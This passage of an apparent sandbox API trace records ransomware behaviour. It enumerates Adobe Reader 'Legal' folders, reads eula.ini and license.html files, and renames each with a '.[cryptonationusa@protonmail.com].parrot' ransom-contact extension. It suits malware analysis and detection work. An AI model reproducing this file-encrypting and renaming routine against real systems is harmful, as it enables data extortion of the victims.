10.0\\Reader\\Legal\\CHS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.963] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.963] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.964] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0247.964] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.964] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0247.964] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0247.964] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0247.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0247.965] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.965] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.965] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.966] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1e0, lpOverlapped=0x0) returned 1 [0247.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0247.966] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0247.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0247.966] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.972] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.973] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.975] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.975] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13a5b, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x13a5b, lpOverlapped=0x0) returned 1 [0247.977] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0247.980] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.980] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0247.980] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0247.981] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.038] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.039] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.134] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.134] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.134] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.134] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.134] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.150] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.150] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.152] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.152] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a8, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3a8, lpOverlapped=0x0) returned 1 [0248.153] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.153] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.153] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.153] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.153] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.161] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.161] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.162] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.163] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x112b7, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x112b7, lpOverlapped=0x0) returned 1 [0248.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.166] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.168] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.174] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.174] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.175] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.175] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.175] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.175] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.175] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.175] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.176] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.176] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.177] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.177] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x416, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x416, lpOverlapped=0x0) returned 1 [0248.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.178] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.178] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.223] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.223] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.225] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.225] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbd79, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xbd79, lpOverlapped=0x0) returned 1 [0248.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.228] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.229] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.234] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.234] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.234] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.234] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.235] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.235] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.235] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.235] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.235] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.236] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.237] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x524, lpOverlapped=0x0) returned 1 [0248.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.237] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.237] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.243] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.243] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.254] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.254] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc750, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xc750, lpOverlapped=0x0) returned 1 [0248.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.258] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.258] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.264] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.264] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.277] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.277] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.277] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.277] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.277] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.278] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.278] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.279] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.279] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x410, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x410, lpOverlapped=0x0) returned 1 [0248.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.279] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.280] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 